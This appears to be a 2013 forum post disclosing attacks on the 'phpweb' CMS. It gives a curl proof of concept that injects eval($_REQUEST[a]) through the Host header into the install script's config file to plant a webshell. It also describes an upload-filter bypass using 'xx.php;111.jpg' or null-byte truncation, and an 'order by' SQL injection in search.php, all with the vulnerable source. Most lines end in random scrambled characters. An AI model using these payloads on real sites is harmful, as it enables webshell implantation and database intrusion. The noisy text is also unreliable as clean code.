找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2487|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
% K! n5 k% \" O. `% A8 U, x: ^  I, i$ K8 H& t
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码" T/ G0 c" l) T
2 i, d* A/ u6 _: A
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件. ~0 L9 A  Z( w) m2 \
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
3 |" D) [/ W) }+ L, f! }1 h 0 L' h' a1 P+ C2 T" p1 p7 f! l" Q$ r8 N
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
; B! m3 ?" }0 k; N& Q3 N8 P $ @, |  ~3 [" T
分析:, }$ L2 N+ G( {+ X

( c) d* X2 S) m$ z" M4 t1 Q
: d! T* L) I4 _) s  c$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤  ?) N# ~/ ~6 l: _! y/ E

4 j/ J" e& U& f+ V" ?6 [                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
0 E6 q0 K; \9 }2 H                                            $filestr=str_replace(" ","",$filestr);* ]2 \0 v" K2 j7 C6 [
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);: ]) c3 J2 q$ ~- S
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);* e8 N7 s' t1 W. Q
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
1 K/ u' p5 p6 n# q. n  G4 @                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);; ~$ F7 v& U+ U- n5 @
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);2 G# I4 p5 _7 y0 Z0 ~
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
! H1 K6 i0 E/ d% T) H/ |- h" e2 @                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
: M. t. Y: [- V& l1 W2 O  E  T" | 8 ?4 ^' @- Z( ?3 l
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);8 S1 ~7 B- G* L  N( ^+ b0 |
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^; _8 B" x; o4 `0 n6 K+ [
4 s9 w! c6 Q% A
poc:
0 J( C/ o5 s2 b- h3 {$ b & T. I- O. x; @/ C, s
?
: c, m& g2 [& F0 F, L1" n8 D  D+ m) X% r8 j
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#": J: P9 v$ I: A: ?( ]7 s2 K0 t7 B4 e/ G
shell地址: /config.inc.php) t5 J4 i2 \- J7 ]! @4 `$ s
跟之前的 phpcms一样 需要远程数据库
$ o5 a+ P2 N7 U; J& ^- X 4 I- B& o$ J& E
——————————————————–
3 M% g- p4 ]9 v9 |上传漏洞(需要进后台):8 s+ R" f% ~  @: U+ A6 [+ S& n
漏洞文件: /kedit/upload_cgi/upload.php; k- n& {$ z$ i; I$ s
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用3 T$ |7 u0 k' B* x

: q' ~: m' S- `5 ]# z' O
. G; x, L3 w/ B# {' u  W8 `<?php
8 s1 P1 ]& A2 \3 d: A3 A/ T6 o    define("ROOTPATH", "../../");# K3 R! Y* ?- Q% @' U$ U' I
    include(ROOTPATH."includes/admin.inc.php");
  }/ e+ @1 x1 ], A2 L( r    NeedAuth(0);. ?4 `1 E) f; o1 K) v0 P
8 d: B. z" S+ r6 M0 r" ?9 t7 I* O2 m
    $dt=date("Ymd",time());" ?. x/ m2 F) s" Z) J" a& i1 Q
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){( k$ G) |3 |$ q3 c$ Y2 a' V
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);! u8 ]9 A$ K" E/ q2 |' Z8 ?1 o
    }
/ Q# i; D$ R) g, B
% h. F9 k+ J  V$ M3 R" U( m    //文件保存目录路径
! J( m& y/ v- X" x    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';& l7 r* S% k7 M" h- J
    echo $save_path;
, d0 X$ g; _/ W# u    //文件保存目录URL
$ g/ O4 P" B& L- C' L1 u! L# D    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
8 Z+ _' v9 Y- `9 p& d9 T8 y# ^  G- ~2 Q $ i+ ~! F. X9 E) _8 \" ?6 A0 `
    //定义允许上传的文件扩展名! Q& p6 w' }7 W: Y2 Q/ d8 `( A/ ]& d
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
0 h& Q6 |2 L9 C( g3 V+ z( o   H5 L4 j3 x: Y6 x
    //最大文件大小* @3 W( h$ ?' a* L: A  G
    $max_size = 1000000;
0 V3 A6 q  L; T) @" e" `/ e. A/ i   Q' y% A2 q- H# C7 K
    //更改目录权限# F$ C( O# A( _( t
    @mkdir($save_path, 0777);! Y% p6 Q8 h* s/ |2 C% H$ Q; U
4 g3 o; R  i5 s: v
    //文件的全部路径3 f% U. ?# C  b5 W# U3 A
    $file_path = $save_path.$_POST['fileName'];   //保存文件名0 G' o! r: X( f; l. S+ A6 b) f

6 ?% u- a- A3 |4 o" p- _! ]! b1 H  i    //文件URL
% p% B' f4 `* Y2 q, F1 a    $file_url = $save_url.$_POST['fileName'];
; p% L- w; {( ^5 x//有上传文件时
9 M4 t3 H7 `$ V) y# S- G    if (empty($_FILES) === false) {
" U- k1 P0 r( l" ?! Z- z, e! K ( C( Y9 v2 A( Y& o5 Y! s/ }( Q
            //原文件名
) V2 y( V4 y  q  E) }0 [            $file_name = $_FILES['fileData']['name'];
) a4 @, F  R! J5 r) H. \            //服务器上临时文件名4 I9 j; C- N# G! ?) ^1 x
            $tmp_name = $_FILES['fileData']['tmp_name'];) Q4 m# R. X4 B0 M/ ~$ j
            //文件大小
* C4 o( C0 ~. W& L            $file_size = $_FILES['fileData']['size'];
. n+ u, G  v5 k3 _' s# L            //检查目录, R# a& B  c  ^7 U7 d  ]
            if (@is_dir($save_path) === false) {& h" Z/ a: s. {# ]
                    alert("上传目录不存在。");
+ A5 R, D, A8 J6 l            }
  K0 U) ]* L, j            //检查目录写权限
6 e( M0 b$ m" W6 S            if (@is_writable($save_path) === false) {9 c$ s4 M) K. T% C: J
                    alert("上传目录没有写权限。");
+ K. q$ T7 y3 N$ z7 O# z( M# W            }2 [' Y. F. t9 `# J
            //检查是否已上传, H) E% H+ Y! W
            if (@is_uploaded_file($tmp_name) === false) {
- ^& L: i* Y2 W: x1 m7 i8 @$ U- Q- |- |                    alert("临时文件可能不是上传文件。");1 T* |  g4 h- ]+ s* H
            }
" S! H8 l, c2 N: M' |* I3 r            //检查文件大小
% i8 R! r5 T" j# z5 ?            if ($file_size > $max_size) {5 Q- E5 ~# \" C' p5 i" J& ~
                    alert("上传文件大小超过限制。");3 e2 M0 D1 y# d% |
            }
# o  C. g& b! |! M" z5 e( N            //获得文件扩展名! ^& L7 l$ {' Y2 |! r: {
            $temp_arr = explode(".", $_POST['fileName']);1 I4 j0 V7 H+ K; j  y. i0 H, t& ?
            $file_ext = array_pop($temp_arr);
+ b/ ~0 {- T+ M% \0 S. S+ v            $file_ext = trim($file_ext);) ~- _/ X3 a* D6 n! b
            $file_ext = strtolower($file_ext);
$ _" O" R/ r: Z
" Z7 Q0 K9 j2 l7 X8 ~7 V- H( O            //检查扩展名     U7 @/ {# }2 W7 [1 N7 z$ X
            if (in_array($file_ext, $ext_arr) === false) {     
) F. C& Y/ @, f4 S' j! ?4 ?" Y                    alert("上传文件扩展名是不允许的扩展名。");. K6 m" K3 V1 a4 g% V9 c' [. J
            }+ {+ X; T+ }, P, @6 H" `

8 x1 c8 }3 o2 H6 y' F' m            //移动文件   7 X8 j* o7 _1 M. g2 i& o3 U- L% w
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^* |" j4 s) b% I2 [; ^" ?5 J5 z
            if (move_uploaded_file($tmp_name, $file_path) === false) {
, K- W0 O% y! W( \+ g4 m5 ?                    alert("上传文件失败。");' L* D! p3 D1 s3 l, _
            }
4 a* Y" k! [6 z# z
* y+ x8 D- g2 S6 O& |7 w7 N            @chmod($file_path,0666);
9 d( h9 y, Z; v4 i4 q : z. d: l$ H; r/ o8 C0 h
    ?>
, o8 w- a6 K6 \. F1 g: w抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2276 y6 {) X' k! ~, N; [! y
+ h2 t) [9 K, [. m& z! z
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过6 x. L& M; Y" V3 g0 [0 k7 e! N

% r5 _1 a. n, @——————————————————
9 k6 U/ e) N/ u0 A$ @; _$ _* _注入漏洞:+ Y3 f: w/ d5 u9 d1 Z) ?- V  h2 ]+ H
漏洞文件:search/module/search.php' ~+ |. Y/ n# n& z+ o
/search/index.php?key=1&myord=1 [sqlinjection]( L2 Q' F! b' ~3 l: O7 p

  `5 Z- s/ b) @$ X1 N  j
" d1 h, t, z: F/ m8 C- L9 c5 a<?php, J+ A' q7 g8 V
   //       ... 省略 n 行...$ g& @( ^+ l7 v2 `$ q
   //第18行:5 i5 I. F/ n4 U0 w3 x' a" r5 L
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响9 _% q/ T6 |5 \" {& {: s7 q3 ^
           $page=htmlspecialchars($_GET["page"]);" m9 r6 ^: {1 t7 ?
           $myord=htmlspecialchars($_GET["myord"]);
) _% q. f$ f+ l6 B   h* p7 i9 F0 p: f% b, Z5 H3 N
   //       ... 省略 n 行...
# ^$ H6 Q$ j, P4 l   $key,$myord 两个参数带入查询
* n6 Y  u; _" P. k& U; V   //第47行 $key:9 J$ N, `* w0 A8 G' J- Y" Q
8 ?" f- j% M! E! z/ Z
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..% _/ e' Y# t+ K# K' p) ?# J& i
" C5 w* [# r/ O+ ?8 h+ S* {
   //第197行 $myord0 _" c: Y- c4 t* t# a
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入. w9 ]8 u$ p+ a( H$ Y7 ?/ }

" X' |$ J2 [1 n& s* c   ?>$ v! I& \( H. Z$ _9 }0 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表